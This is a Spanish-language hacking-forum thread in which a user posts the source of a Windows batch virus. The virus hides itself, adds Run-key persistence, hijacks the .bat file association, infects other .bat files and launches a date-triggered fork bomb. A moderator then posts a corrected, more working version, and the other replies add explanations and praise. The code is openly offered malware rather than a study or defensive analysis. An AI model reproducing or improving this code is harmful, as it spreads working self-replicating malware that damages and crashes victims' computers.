elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [src]batch-virus]f_to
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [src]batch-virus]f_to  (Leído 6,451 veces)
0x3c

Desconectado Desconectado

Mensajes: 108


learning, making mistakes, having fun


Ver Perfil
[src]batch-virus]f_to
« en: 17 Enero 2013, 16:32 pm »

yo en mi aburrimiento nocturno cree el siguiente codigo infector de archivos con la extension .bat, les pido de ante mano que si tienen alguna recomendacion o encuentran algun error me lo hagan saber..el codigo es bastante simple...aqui el codigo:


Código
  1. ::*************************************************************
  2. ::* nombre:f_to -- payload:si [fork-bomb] -- infeccion:si
  3. ::* tipo:.bat infector -- Anti AV tech:no -- propagacion:no
  4. ::*========================================
  5. ::*=Este codigo fue creado con fines autodidacticos solamente
  6. ::*=el autor del mismo(osea yo) no tomara responsabilidad de
  7. ::*=ningun problema causado como resultado de su ejecucion
  8. ::*==================n3t_3rr0r@hushmail.com==
  9. ::*************************************************************
  10. ::@echo off
  11. ::salta al disco C:
  12. ::si existe el directorio "placenta" salta a una etiqueta que termina su ejecucion sino salta a otra etiqueta para continuar su ejecucion
  13. if exist placenta (
  14. goto _eof
  15. ) else (
  16. goto _cnt
  17. )
  18. :_cnt
  19. ::crea una carpeta para alojarse
  20. mkdir placenta
  21. ::le da attributos oculto/solo lectura/sistema
  22. attrib +h +r +s placenta
  23. ::se auto-copia con el nombre f_to
  24. copy %0 > c:\placenta\f_to.bat
  25. ::toma atributos de lectura y systema
  26. attrib +r +s c:\placenta\f_to.bat
  27. ::se asocia a la extension .avi
  28. assoc .bat=avifile
  29. ::agrega una llave al registro para garantizar ejecucion durante el proximo inicio
  30. reg add HKLM\Microsoft\Windows\CurrentVersion\Run /v SysMgr /t Reg_SZ /d C:\placenta\f_to.bat
  31. ::payload - si la fecha es igual o mayor que 13-12-13 salta a la etiqueta para activar el payload
  32. if %date% GEQ 13-12-13 (
  33. goto _pyld
  34. ) else (
  35. goto _eof
  36. )
  37. ::busca archivos .bat y los infecta
  38. for /R %%i in (*.bat) do copy %0 %%i
  39. ::y luego le da atributos de sistema/oculto
  40. for /R %%i in (*.bat) do attrib +s +h %%i
  41. :_pyld
  42. :_fb
  43. start %0
  44. goto _fb
  45. :_eof
  46. exit /B
  47.  

saludos


« Última modificación: 17 Enero 2013, 19:07 pm por EleKtro H@cker » En línea

Si Vis Pacem, Para Bellum.

Another Legend Has Fallen
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.885



Ver Perfil
Re: [src]batch-virus]f_to
« Respuesta #1 en: 17 Enero 2013, 18:56 pm »

les pido de ante mano que si tienen alguna recomendacion o encuentran algun error me lo hagan saber..

1. En la primera ejecución del bat, creas la carpeta placenta
2. Si la carpeta "placenta" está creada, el script termina su ejecución.
2. Si la fecha es mayor que... intentas ejecutar de nuevo el bat en un búcle infinito.

Pregunta: ¿Que sentido le das ejecutar de nuevo el bat en un búcle infinito, si cuando la carpeta "placenta" ya está creada, el propio bat se cierra?.





Código:
cd\
El comando no sirve para saltar a la raíz de "C:\", sirve para saltar a la raíz del dispositivo actual, es decir, si el """"virus"""" se ejecuta desde la unidad "D:\", buscará por "D:\placenta".





Código
  1. goto _eof
Código
  1. :_eofexit /B

Esto que haces es totálmente innecesario, aparte de que no es necesario llamar a ninguna etiqueta, para algo existe el "EOF":
Código
  1. GOTO:EOF
Y así sales del bat actual.
EDITO: Siempre que no te encuentres dentro de una subrutina.





Código
  1. if exist placenta (Exit /B) & REm aquí llamas a 2 etiquetas innecesarias.




Código
  1. if %date% GEQ 13-12-13 (
Esto es imposible que te funcione:
- el símbolo es "/", y tu estás comparando el guión "-".
- la variable DATE contiene 8 dígitos, no 6.
- no estás usando un orden de comparación correcto:

Tu estás haciendo esto
Código
  1. if %date% GEQ 13-12-13

Si date fuese esto, daría positivo:
Código
  1. if 14-01-01 GEQ 13-12-13





Código
  1. Assoc           ".bat"="avifile"
Esto es muy incorrecto,
para tocar cosas dle registro hay que estudiar lo básico de él.

En muchos PC's funcionará como lo has dejado, pero desde luego no en todos,

el identificador "avifile" puede estar vacío, es decir, "avifile" no tiene porque estar asociado a ningún programa que reproduzca vídeos, por ponerte un ejemplo, cuando instalas un reproductor multimedia de terceros, puede modificar los identificadores por defecto, y eliminarlos.

En mi caso el identificador para los Avi es "UMPLAYER.AVI", si yo quisiera que tu bat me funcionase , debería hacer:
Código
  1. Assoc ".bat"="UMPLAYER.AVI"

Ya que si lo associo a "AVIFILE" obtengo como resultado algo muy distinto,
así que si lo quieres hacer bien, primero tienes que obtener el valor del identificador de los AVI.





Código
  1. Reg ADD  "HKLM\..."
No te recomiendo que uses la raíz Hkey_Local_Machine por los permisos del usuario, sería mejor que escribas en la raíz de la sesión del usuario local "HKCU", además, no fuerzas la escritura de la clave, y eso es muy importante.

Deberías escribir en las dos raizes para asegurarte mejor.





Código
  1. for /R %%i in (*.bat) do copy %0 %%i
  2. for /R %%i in (*.bat) do attrib +s +h %%i

Esas ordenes no se llegan a procesar en ninguno de los casos ya que antes de llegar al FOR, o llamas a una etiqueta, o sales del código, pero el código no sigue,
pregunto, ¿Has probado tu script?.





Código
  1. ::busca archivos .bat y los infecta
  2. for /R %%i in (*.bat) do copy %0 %%i
  3. for /R %%i in (*.bat) do attrib +s +h %%i

Estás haciendo dos pasadas en el disco duro, eso puede tardar siglos usando batch, cuando puedes concatenar los dos comandos en el mismo FOR.





Código
  1. copy %0 %%i
  2. attrib +s +h %%i

¿Que pasa si la variable %%i contiene un archivo con espacios en el nombre? (KABOOM!)
¿Que pasa si intentas copiar un archivo cuando el archivo de destino ya existe? (KABOOM!)

2 razones por las que ese FOR no pueden funcionar, sin mencionar los permisos que el usuario tenga.





Y como crítica constructiva te diré que usas demasiados saltos de etiquetas y deberías aprender a indentar un código para hacer legible tus scripts, tu código está muy embrutecido.


« Última modificación: 17 Enero 2013, 20:04 pm por EleKtro H@cker » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.885



Ver Perfil
Re: [src]batch-virus]f_to
« Respuesta #2 en: 17 Enero 2013, 18:57 pm »

Bueno, como soy el moderador voy a hacer un doble post porqué sí  (Por una vez no pasa nada xD) :laugh:, que arriba puse demasiada información para leer.

Aquít ienes las correciones que he mencionado antes ( Sí las quieres :P ):

Código
  1. @Echo OFF
  2.  
  3. Set "Folder=%SystemDrive%\placenta"
  4.  
  5. IF exist "%Folder%" (Exit /B 1) Else (
  6. MKDIR           "%Folder%"
  7. Copy /Y "%~0"   "%Folder%\f_to%~x0"
  8. Attrib +R +S +H "%Folder%"
  9. Attrib +R +S    "%Folder%\f_to%~x0"
  10. Reg ADD         "HKLM\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
  11. Reg ADD         "HKCU\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
  12. For /F "Tokens=1-3 Delims= " %%A in ('REG Query "HKCR\.avi" /V ""') Do (Assoc ".bat"="%%C")
  13. IF %date:~6,4%%date:~3,2%%date:~0,2% GEQ 20131213 (GOTO :Loop) Else (Exit /B 1)
  14. REM Como esta orden no se llega a ejecutar en el código original no se donde quieres que la ponga, pero de todas formas la he corregido:
  15. :: For /R %%# in ("*.bat";"*.cmd") do (Copy /Y "%~0" "%%#" & Attrib +s +h "%%#")
  16. )
  17.  
  18. :Loop
  19. (Start /B "" "%~0") & (Goto :Loop)

Saludos.
« Última modificación: 17 Enero 2013, 20:06 pm por EleKtro H@cker » En línea



$Edu$


Desconectado Desconectado

Mensajes: 1.842



Ver Perfil
Re: [src]batch-virus]f_to
« Respuesta #3 en: 17 Enero 2013, 19:35 pm »

Jajaja mejor critica constructiva que esa no tendras, con Elektro no se jode xD, si haces un programa de 1 linea Elektro te dice 10 cosas a mejorar jajaja. Aplauso para Elektro  ;-) ;-)
En línea

0x3c

Desconectado Desconectado

Mensajes: 108


learning, making mistakes, having fun


Ver Perfil
Re: [src]batch-virus]f_to
« Respuesta #4 en: 17 Enero 2013, 21:25 pm »

por lo que veo voy a tengo que leer mucho para seguir escribiendo 'bichitos'...tendre que hacer una version 2 de esto....

Citar
Código

    if %date% GEQ 13-12-13 (

Esto es imposible que te funcione:
- el símbolo es "/", y tu estás comparando el guión "-".
- la variable DATE contiene 8 dígitos, no 6.
- no estás usando un orden de comparación correcto:

Tu estás haciendo esto
Código

    if %date% GEQ 13-12-13

con esto el problema es que para ver si me funcionaria lo probe en la CMD...

Citar
Código

    ::busca archivos .bat y los infecta
    for /R %%i in (*.bat) do copy %0 %%i
    for /R %%i in (*.bat) do attrib +s +h %%i


Estás haciendo dos pasadas en el disco duro, eso puede tardar siglos usando batch, cuando puedes concatenar los dos comandos en el mismo FOR.

bueno esto lo sabia por que probe esta parte del codigo y si tardo bastante pero este script trate de hacerlo lo mas "detectable" por eso no quise ponerle ningun tipo de proteccion..de cierta forma no quiero que ande gente infectando personas con un script que yo hice...hay partes de las correciones que hiciste que no entiendo...

E.P.:
Citar
:Loop
(Start /B "" "%~0") & (Goto :Loop)

por ejemplo no sabia que se podia empezar una linea de codigo con un parentesis :O bueno la 'forkbomb' quise hacerla a la antigua...pero como dije hay cosas que no entiendo en las correcion que hiciste..

Citar
   For /F "Tokens=1-3 Delims= " %%A in ('REG Query "HKCR\.avi" /V ""') Do (Assoc ".bat"="%%C")
IF %date:~6,4%%date:~3,2%%date:~0,2% GEQ 20131213

sobre esta parte todavia no me relaciono con FOR muy bien asi que esta parte del codigo no la entiendo bien...segun puedo ver estas tratando de contar tokens y delimitas algo??  :huh:

explicame mejor esa parte por favor si puedes...por cierto las correciones que hiciste claro que son bienvenidas :D gracias por tomarte el tiempo de revisar el codigo...

E.P.2:
Citar
Pregunta: ¿Que sentido le das ejecutar de nuevo el bat en un búcle infinito, si cuando la carpeta "placenta" ya está creada, el propio bat se cierra?.

esto es cierto...al parecer como lo hice con ganas de experimentar se me pasaron ciertas cosas
saludos
« Última modificación: 17 Enero 2013, 21:42 pm por 0x3c » En línea

Si Vis Pacem, Para Bellum.

Another Legend Has Fallen
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.885



Ver Perfil
Re: [src]batch-virus]f_to
« Respuesta #5 en: 18 Enero 2013, 05:10 am »

Sincéramente el mundo "batch" está lleno de "virus" como el que compartiste,
aparte de ayudar y enseñar lo que pueda intento demostrar que no es tán fácil, hay muchos detalles que tener en cuenta, y te dije unos cuantos.



Citar
explicame mejor esa parte por favor si puedes.

Te explico:

por ejemplo no sabia que se podia empezar una linea de codigo con un parentesis :O
El paréntesis es el operador de agrupación, y sirve para agrupar comandos.
Puedes empezar cualquier línea con el uso del paréntesis, y puedes agrupar tantas veces como quieras:

Código:
((((((((((echo hola))))))))))

Ejemplo:
Código
  1. f "a" == "a" echo Es igual & Echoelse No es igual

Eso es una patata de línea, porque los comandos no están agrupados así que no puede funcionar corréctamente, siempre mostrará "es igual" y "no es igual",
hay que agrupar las ordenes así:
Código
  1. f "a" == "a" (echo Es igual & Echo) else (No es igual)

También puedes agrupar para hacer una redirección multilínea:
Código
  1. (
  2. Echo elhacker
  3. echo .net
  4. )>"Archivo.txt"
* El output de lo que haya dentro de la agrupación se redirecciona al archivo.

Otro ejemplo de agrupación en una línea sería:
Código
  1. (SET /A "A=0", "LINE=0", "TOTAL_LINES=0")  &  (CALL :%~1 %* || (ECHO Parametro incorrecto & Exit /B 1)) & (GOTO:EOF)
* Fíjate donde acaba la primera agrupación, sin usar las agrupaciones no se podría escribir en una sola línea porque el "GOTO:EOF" siempre daría positivo.
* El ejemplo lo he sacado de mi script, donde tienes más ejemplos: [BATCH] [APORTE] Rutina TEXTMAN para manipular archivos de texto

Y escribí un tutorial de Batch donde tienes más información:
Tutorial extendido de aprendizaje Batch 4.4 Operadores de agrupación



FOR
esta parte del codigo no la entiendo bien...segun puedo ver estas tratando de contar tokens y delimitas algo??  :huh:

Lo primero de todo que hago es obtener el dato del valor "default" de la clave "HKEY_CLASSES_ROOT\.Avi", que es donde se guarda el identificador necesario.

El output que recibo es este:
Código:
    (Predeterminado)    REG_SZ    UMPLAYER.AVI

Contiene tres espacios por defecto antes del dato que quiero obtener, así que uso 3 tokens y como delimitador uso el espacio, y obtengo esto:
Código:
UMPLAYER.AVI

Y ya hago lo que quiera hacer con el valor que he obtenido xD.

Saludos.
En línea



The_Mushrr00m

Desconectado Desconectado

Mensajes: 163


"Don't worry, be Hacked........"


Ver Perfil WWW
Re: [src]batch-virus]f_to
« Respuesta #6 en: 18 Enero 2013, 08:44 am »

No estoy muy familiarizado con Batch pero....
vamos EleKtro H@cker eres el jodido amo ! :xD
leo y leo post sobre batch y gracias a tus comentarios eh logrado aprender un poco.  ;-)

Citar
Jajaja mejor critica constructiva que esa no tendras, con Elektro no se jode xD, si haces un programa de 1 linea Elektro te dice 10 cosas a mejorar jajaja. Aplauso para Elektro

No paraba de reirme, pero tiene razon  ;D

Saludos..!
En línea

«No hay camino para la verdad, la verdad es el camino»

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.885



Ver Perfil
Re: [src]batch-virus]f_to
« Respuesta #7 en: 18 Enero 2013, 10:07 am »

Gracias aunque de poco sirve ser un pu** amo en Batch, yo envidio los conocimientos de $Edu$ entre otros cuantos miembros de la programación .NET.

Saludos!
En línea



0x3c

Desconectado Desconectado

Mensajes: 108


learning, making mistakes, having fun


Ver Perfil
Re: [src]batch-virus]f_to
« Respuesta #8 en: 18 Enero 2013, 12:19 pm »

la verdad que tengo mucho que leer...el factor que mas afecta poder crear codigo personalmente hablando es el tiempo..en batch me gustaria alcanzar ciertos niveles, me gustaria poder desarrollar codigos como este:

foro.elhacker.net/scripting/virusbatch_nurex-t200263.0.html





saludos
En línea

Si Vis Pacem, Para Bellum.

Another Legend Has Fallen
$Edu$


Desconectado Desconectado

Mensajes: 1.842



Ver Perfil
Re: [src]batch-virus]f_to
« Respuesta #9 en: 18 Enero 2013, 15:25 pm »

Yo me leeria primero el tutorial que te ha dejado Elektro, que es de el mismo. Empezandolo desde el principio claro.

Luego que tenes la base es facil buscar codigos en google para entenderlos y mejorarlos para aplicarlos a tu programa dependiendo lo que quieras hacer.

pd: Elektro, envidiarme a mi? te confundes de usuario xD
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[-virus-batch] NUREX
Scripting
The Shadow 3 3,718 Último mensaje 19 Febrero 2008, 02:10 am
por ~[uNd3rc0d3]~
[virus-batch|vbs] OBVI
Scripting
The Shadow 4 2,610 Último mensaje 22 Febrero 2008, 20:06 pm
por The Shadow
Polaris (Virus en Batch)
Scripting
-[black_hack]- 9 5,690 Último mensaje 3 Marzo 2008, 02:24 am
por [SMT]
[virus][batch][vbs][asm] Halphas.a
Scripting
The Shadow 0 2,052 Último mensaje 7 Julio 2008, 23:38 pm
por The Shadow
[virus][batch][vbs] xWorld.b
Scripting
The Shadow 0 2,016 Último mensaje 7 Julio 2008, 23:38 pm
por The Shadow
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines